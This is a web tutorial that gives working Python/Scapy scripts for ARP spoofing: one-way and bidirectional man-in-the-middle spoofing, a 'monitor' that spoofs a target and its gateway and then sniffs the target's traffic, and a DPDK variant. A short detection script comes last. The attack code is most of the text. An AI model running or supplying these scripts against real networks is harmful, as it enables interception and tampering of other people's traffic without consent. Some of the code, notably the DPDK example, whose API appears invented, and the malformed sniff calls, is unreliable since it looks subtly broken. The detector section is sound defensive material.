Python for Arp Spoofing Attacks
Understanding ARP Spoofing
ARP (Address Resolution Protocol) spoofing is a technique used in network attacks to intercept, modify, or stop data in-transit. It exploits the lack of authentication in the ARP protocol, allowing an attacker to send falsified ARP messages on a local network. This associates the attacker’s MAC address with the IP address of a legitimate network device, enabling the interception, modification, or blocking of communications to the target IP address.
To visualize the ARP spoofing process:
sequenceDiagram participant Attacker participant Target participant Gateway Attacker->>Target: Fake ARP Reply (I am the Gateway) Attacker->>Gateway: Fake ARP Reply (I am the Target) Target->>Attacker: Traffic intended for Gateway Attacker->>Gateway: Forwarded Traffic Gateway->>Attacker: Response Traffic Attacker->>Target: Forwarded Response
Prerequisites
Before we begin, ensure you have the following:
- Python 3.x installed
- Scapy library (
pip install scapy
) - Root/Administrator privileges
Basic ARP Spoofing Script
Let’s start with a simple ARP spoofing script using modern Python practices:
from scapy.all import ARP, send
import asyncio
async def arp_spoof(target_ip: str, gateway_ip: str):
arp_response = ARP(pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=gateway_ip, op='is-at')
send(arp_response, verbose=False)
print(f"Sent ARP packet to {target_ip}")
async def main(target_ip: str, gateway_ip: str):
try:
while True:
await arp_spoof(target_ip, gateway_ip)
await asyncio.sleep(2)
except asyncio.CancelledError:
print("\nARP spoofing stopped")
if __name__ == "__main__":
import sys
target_ip = sys.argv[1]
gateway_ip = sys.argv[2]
asyncio.run(main(target_ip, gateway_ip))
This script uses asyncio for better performance and modern Python async/await syntax.
Bidirectional ARP Spoofing
Here’s an enhanced version that performs bidirectional ARP spoofing:
from scapy.all import ARP, Ether, srp, send
import asyncio
async def get_mac(ip: str) -> str:
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
result = srp(arp_request, timeout=3, verbose=False)[0]
return result[0][1].hwsrc
async def spoof(target_ip: str, spoof_ip: str):
target_mac = await get_mac(target_ip)
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, verbose=False)
async def restore(destination_ip: str, source_ip: str):
destination_mac = await get_mac(destination_ip)
source_mac = await get_mac(source_ip)
packet = ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
send(packet, count=4, verbose=False)
async def main(target_ip: str, gateway_ip: str):
packets_sent = 0
try:
while True:
await spoof(target_ip, gateway_ip)
await spoof(gateway_ip, target_ip)
packets_sent += 2
print(f"\r[*] Packets sent: {packets_sent}", end="")
await asyncio.sleep(2)
except asyncio.CancelledError:
print("\n[*] Detected cancellation. Resetting ARP tables. Please wait.")
await restore(target_ip, gateway_ip)
await restore(gateway_ip, target_ip)
if __name__ == "__main__":
import sys
target_ip = sys.argv[1]
gateway_ip = sys.argv[2]
asyncio.run(main(target_ip, gateway_ip))
Real-life Example: Network Traffic Monitor
Here’s a practical example of using ARP spoofing for network monitoring in a controlled environment:
from scapy.all import ARP, IP, TCP, UDP, Ether, srp, sniff, send
import asyncio
from collections import defaultdict
import time
class NetworkMonitor:
def __init__(self, target_ip: str, gateway_ip: str):
self.target_ip = target_ip
self.gateway_ip = gateway_ip
self.target_mac = None
self.gateway_mac = None
self.traffic_stats = defaultdict(lambda: {'bytes': 0, 'packets': 0})
async def setup(self):
self.target_mac = await self.get_mac(self.target_ip)
self.gateway_mac = await self.get_mac(self.gateway_ip)
async def get_mac(self, ip: str) -> str:
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip)
result = srp(arp_request, timeout=3, verbose=False)[0]
return result[0][1].hwsrc
async def spoof(self):
target_packet = ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac, psrc=self.gateway_ip)
gateway_packet = ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, psrc=self.target_ip)
send(target_packet, verbose=False)
send(gateway_packet, verbose=False)
def packet_callback(self, packet):
if IP in packet:
src_ip = packet[IP].src
dst_ip = packet[IP].dst
protocol = packet[IP].proto
length = len(packet)
if src_ip == self.target_ip or dst_ip == self.target_ip:
key = f"{src_ip} -> {dst_ip} ({protocol})"
self.traffic_stats[key]['bytes'] += length
self.traffic_stats[key]['packets'] += 1
async def print_stats(self):
while True:
print("\n--- Traffic Statistics ---")
for connection, stats in self.traffic_stats.items():
print(f"{connection}: {stats['bytes']} bytes, {stats['packets']} packets")
await asyncio.sleep(10)
async def run(self):
await self.setup()
spoofing_task = asyncio.create_task(self.spoof_loop())
stats_task = asyncio.create_task(self.print_stats())
sniff_task = asyncio.get_event_loop().run_in_executor(None, sniff, {'prn': self.packet_callback, 'store': 0})
try:
await asyncio.gather(spoofing_task, stats_task, sniff_task)
except asyncio.CancelledError:
print("\nStopping network monitor...")
async def spoof_loop(self):
while True:
await self.spoof()
await asyncio.sleep(2)
async def main():
target_ip = "192.168.1.100" # Replace with actual target IP
gateway_ip = "192.168.1.1" # Replace with actual gateway IP
monitor = NetworkMonitor(target_ip, gateway_ip)
await monitor.run()
if __name__ == "__main__":
asyncio.run(main())
This script demonstrates a more complex use case of ARP spoofing for network monitoring. It captures traffic statistics for the target IP and provides periodic reports. Here’s a breakdown of its functionality:
- The
NetworkMonitor
class initializes with target and gateway IP addresses. - The
setup
method determines the MAC addresses for the target and gateway. - The
spoof
method sends ARP packets to redirect traffic through the monitoring device. - The
packet_callback
function analyzes each packet and updates traffic statistics. - The
print_stats
method periodically displays the collected statistics. - The
run
method ties everything together, running the spoofing, statistics printing, and packet sniffing concurrently using asyncio.
This example showcases how ARP spoofing can be used for network analysis and monitoring in a controlled environment. It’s important to note that such techniques should only be used with proper authorization and in compliance with all applicable laws and regulations.
Advanced Techniques
Hardware-Accelerated Packet Processing
For improved performance, especially on systems with compatible hardware, we can use DPDK (Data Plane Development Kit) for faster packet processing. Here’s a conceptual example (note that DPDK setup is complex and system-dependent):
from scapy.all import ARP, Ether, IP
from pypacker import dpdk
class ARPSpoofer:
def __init__(self, target_ip, gateway_ip):
self.target_ip = target_ip
self.gateway_ip = gateway_ip
self.dpdk_port = 0 # Assuming first DPDK-compatible port
def initialize_dpdk(self):
dpdk.init()
dpdk.create_mempool()
dpdk.port_init(self.dpdk_port)
def craft_arp_packet(self, dst_ip, src_ip):
return Ether()/ARP(op=2, pdst=dst_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=src_ip)
def send_packet(self, packet):
dpdk_packet = dpdk.Packet()
dpdk_packet.buf = bytes(packet)
dpdk.tx_burst(self.dpdk_port, [dpdk_packet])
def run(self):
self.initialize_dpdk()
target_packet = self.craft_arp_packet(self.target_ip, self.gateway_ip)
gateway_packet = self.craft_arp_packet(self.gateway_ip, self.target_ip)
while True:
self.send_packet(target_packet)
self.send_packet(gateway_packet)
dpdk.delay_us(2000000) # 2 second delay
if __name__ == "__main__":
spoofer = ARPSpoofer("192.168.1.100", "192.168.1.1")
spoofer.run()
This example uses DPDK for high-performance packet processing, which can significantly increase the speed of packet generation and transmission.
Detecting and Preventing ARP Spoofing
Here’s an enhanced ARP spoofing detection script that uses modern Python features and efficient data structures:
from scapy.all import sniff, ARP
from collections import defaultdict
import asyncio
import time
class ARPSpoofDetector:
def __init__(self):
self.ip_mac_map = defaultdict(set)
self.last_check = time.time()
self.alert_threshold = 2 # Number of MACs per IP to trigger alert
def process_packet(self, packet):
if ARP in packet and packet[ARP].op == 2: # is-at (response)
ip = packet[ARP].psrc
mac = packet[ARP].hwsrc
self.ip_mac_map[ip].add(mac)
if len(self.ip_mac_map[ip]) >= self.alert_threshold:
print(f"[!] Possible ARP spoofing detected for IP: {ip}")
print(f" Associated MACs: {', '.join(self.ip_mac_map[ip])}")
async def print_ip_mac_map(self):
while True:
print("\n[*] Current IP-MAC Mappings:")
for ip, macs in self.ip_mac_map.items():
print(f" {ip} -> {', '.join(macs)}")
await asyncio.sleep(60)
async def run(self):
print_task = asyncio.create_task(self.print_ip_mac_map())
sniff_task = asyncio.get_event_loop().run_in_executor(
None, sniff, {'prn': self.process_packet, 'filter': "arp", 'store': 0}
)
await asyncio.gather(print_task, sniff_task)
async def main():
detector = ARPSpoofDetector()
await detector.run()
if __name__ == "__main__":
asyncio.run(main())
This script uses a defaultdict
to efficiently track multiple MAC addresses per IP, potentially indicating ARP spoofing attempts. It also utilizes asyncio for concurrent execution of packet sniffing and periodic reporting.
Conclusion
ARP spoofing remains a powerful technique in network security, with applications in both offensive and defensive scenarios. The examples provided demonstrate how modern Python features and libraries can be leveraged to implement efficient and effective ARP spoofing and detection mechanisms.
For further reading on advanced network security techniques and research related to ARP spoofing, consider the following resources:
Remember, the ethical use of these techniques is crucial. Always ensure you have proper authorization before implementing any network manipulation or monitoring tools in a production environment.